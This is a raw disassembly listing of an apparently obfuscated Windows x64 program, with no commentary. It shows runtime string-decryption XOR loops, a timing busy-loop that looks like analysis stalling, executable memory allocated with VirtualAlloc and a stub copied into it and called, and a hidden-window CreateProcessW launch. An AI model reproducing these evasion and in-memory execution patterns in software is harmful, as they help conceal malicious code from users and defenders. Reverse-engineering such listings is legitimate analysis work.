pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140242c80
cmp r9d, 0x23
jge 0x140242eb7
movsxd rax, r9d
lea r10, [rsp + 0x568]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140242e60
movsd xmm0, qword [str._717:qb_Q]
movzx eax, byte [0x1402a97e0]
movsd qword [rsp + 0x150], xmm0
mov byte [rsp + 0x150], 0x68
xor byte [rsp + 0x151], 0x43
xor byte [rsp + 0x152], 0x45
xor byte [rsp + 0x153], 0x47
xor byte [rsp + 0x154], 0x49
xor byte [rsp + 0x155], 0x4b
xor byte [rsp + 0x156], 0x4d
xor byte [rsp + 0x157], 0x4f
xor al, 0x51
mov byte [rsp + 0x158], al
lea r8, [0x1402c0460]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xbf0]
call fcn.14025b440
nop
lea r8, [rsp + 0x568]
mov rdx, rax
lea rcx, [rsp + 0xc10]
call fcn.14025a710
nop
mov rdx, rax
lea rcx, [rsp + 0xc30]
call fcn.14021b5f0
nop
mov rdx, rax
lea rcx, [rsp + 0x1048]
call fcn.14020b5c0
nop
lea rcx, [rsp + 0xc30]
call fcn.140259200
nop
lea rcx, [rsp + 0xc10]
call fcn.140259200
nop
lea rcx, [rsp + 0xbf0]
call fcn.140259200
lea rcx, [rsp + 0x1200]
call fcn.140212aa0
movups xmm0, xmmword [0x1402aaad8]
movups xmmword [rsp + 0x540], xmm0
movups xmm1, xmmword [0x1402aaae8]
movups xmmword [rsp + 0x550], xmm1
movzx eax, word [0x1402aaaf8]
mov word [rsp + 0x560], ax
movzx eax, byte [0x1402aaafa]
mov byte [rsp + 0x562], al
mov r9d, esi
cmp r12d, 2
jl 0x140243217
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x544]
mov edx, dword [rsp + 0xe0]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140243050
cmp r9d, 0x23
jge 0x140243287
movsxd rax, r9d
lea r10, [rsp + 0x540]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140243230
mov r8d, 0x20
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x1200]
call fcn.1402542b0
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x3b40]
call fcn.1402562f0
mov dword [rsp + 0xd10], 0xffffff9c
mov dword [rsp + 0xd14], 0x64
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0x4d8]
call fcn.140203190
mov rax, qword [rsp + 0x4d8]
add rax, 0x5f5e100
mov qword [rsp + 0x280], rax
lea rcx, [rsp + 0x510]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.1402034a0
test al, al
jns 0x1402433f4
nop word [rax + rax]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x3b40]
lea rcx, [rsp + 0xd10]
call fcn.14025a810
mov ebx, eax
test eax, eax
mov eax, 1
cmove ebx, eax
lea rdx, [rsp + 0x3b40]
lea rcx, [rsp + 0xd10]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x3b40]
lea rcx, [rsp + 0xd10]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x3b40]
lea rcx, [rsp + 0xd10]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov dword [rsp + 0x70], ecx
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub r12, 1
jne 0x140243330
lea rcx, [rsp + 0x510]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.1402034a0
test al, al
js 0x140243320
mov eax, dword [rsp + 0x70]
mov r8, qword [rsp + 0x1050]
mov rdx, qword [rsp + 0x1048]
sub r8, rdx
lea rcx, [rsp + 0x1200]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1200]
call fcn.140254270
nop
lea rcx, [rsp + 0x1200]
call fcn.140212a30
nop
lea rcx, [rsp + 0x1048]
call fcn.140256140
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc98], xmm0
mov qword [rsp + 0xca8], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x1124], xmm1
movups xmmword [rsp + 0x1134], xmm1
movups xmmword [rsp + 0x1144], xmm1
movups xmmword [rsp + 0x1154], xmm1
movups xmmword [rsp + 0x1164], xmm1
movups xmmword [rsp + 0x1174], xmm1
mov dword [rsp + 0x1184], eax
mov dword [rsp + 0x1120], 0x68
lea rax, [rsp + 0xe98]
cmp qword [rsp + 0xeb0], 0x10
cmovae rax, qword [rsp + 0xe98]
mov qword [rsp + 0x478], rax
movups xmmword [rsp + 0xd40], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd48], r13
mov qword [rsp + 0xd50], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0xd40], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402bfb20]
lea rbx, [0x14025b2b0]
test rax, rax
je 0x140243530
mov rdx, rsi
cmp rax, rbx
je 0x14024351f
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2bfb20]
test rax, rax
jne 0x140243507
jmp 0x140243530
mov r8, qword [r14 + rdx*8 + 0x2c4050]
test r8, r8
jne 0x140243611
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140243557
mov r8, rsi
jmp 0x1402435f0
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140243562
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c49b0]
mov qword [r14 + rax*8 + 0x2bfb20], rbx
mov qword [r14 + rax*8 + 0x2c4050], r8
inc rax
mov qword [0x1402c49b0], rax
lea rdx, [rsp + 0x478]
mov rcx, rdi
call r8
nop
xor r12, r13
lea rax, [rsp + 0x6308]
mov qword [rax], r12
movups xmm0, xmmword [0x1402ac258]
movups xmmword [rsp + 0x590], xmm0
movups xmm1, xmmword [0x1402ac268]
movups xmmword [rsp + 0x5a0], xmm1
mov eax, dword [0x1402ac278]
mov dword [rsp + 0x5b0], eax
mov r9d, esi
mov r12d, dword [0x1402bd008]
mov ebx, 6
cmp r12d, 2
jl 0x140243897
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x594]
mov edx, dword [rsp + 0xe0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1402436d0
cmp r9d, 0x24
jge 0x140243907
movsxd rax, r9d
lea r10, [rsp + 0x590]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x24
jl 0x1402438b0
lea rax, [rsp + 0x590]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140243916
mov rdx, qword [rsp + 0xea8]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14024b571
lea rax, [rsp + 0xe98]
cmp qword [rsp + 0xeb0], 0x10
cmovae rax, qword [rsp + 0xe98]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x590]
lea rcx, [rsp + 0xb30]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0x10c0]
call fcn.14020a180
nop
lea rcx, [rsp + 0xb30]
call fcn.140259200
lea rdx, [rsp + 0x10c0]
cmp qword [rsp + 0x10d8], 8
cmovae rdx, qword [rsp + 0x10c0]
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r9d, esi
test eax, eax
je 0x140243d08
mov ebx, dword [rsp + 0xca8]
mov dword [rsp + 0x70], ebx
movsd xmm0, qword [0x1402ab368]
movsd qword [rsp + 0x250], xmm0
mov eax, dword [0x1402ab370]
mov dword [rsp + 0x258], eax
movzx eax, byte [0x1402ab374]
mov byte [rsp + 0x25c], al
cmp r12d, 2
jl 0x140243c33
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402ab368]
pxor xmm3, xmm0
movd dword [rsp + 0x250], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x254]
pxor xmm3, xmm1
movd dword [rsp + 0x254], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x250]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140243c50
lea rdx, [rsp + 0x250]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [0x1402bfe51], 1
mov rcx, qword [rsp + 0xc98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xca0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xff8e
mov r8d, dword [rsp + 0x70]
jmp 0x14024400c
movups xmm0, xmmword [0x1402ab960]
movups xmmword [rsp + 0x8f0], xmm0
movups xmm1, xmmword [0x1402ab970]
movups xmmword [rsp + 0x900], xmm1
movups xmm0, xmmword [0x1402ab980]
movups xmmword [rsp + 0x910], xmm0
movups xmm1, xmmword [0x1402ab990]
movups xmmword [rsp + 0x920], xmm1
mov eax, dword [0x1402ab9a0]
mov dword [rsp + 0x930], eax
cmp r12d, 2
jl 0x140243f50
movdqa xmm10, xmmword [0x1402ad0a0]
mov r9d, esi
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x8f0]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x20
jl 0x140243db0
cmp r9d, 0x22
jl 0x140243f50
mov ebx, 0xff8e
jmp 0x140243fcd
movsxd rax, r9d
lea r10, [rsp + 0x8f0]
lea r10, [r10 + rax*2]
mov ebx, 0xff8e
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx r8d, dx
imul r8d, ebx
sub r8w, cx
movzx eax, r9w
add ax, ax
add r8w, 0x41
add r8w, ax
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x22
jl 0x140243f70
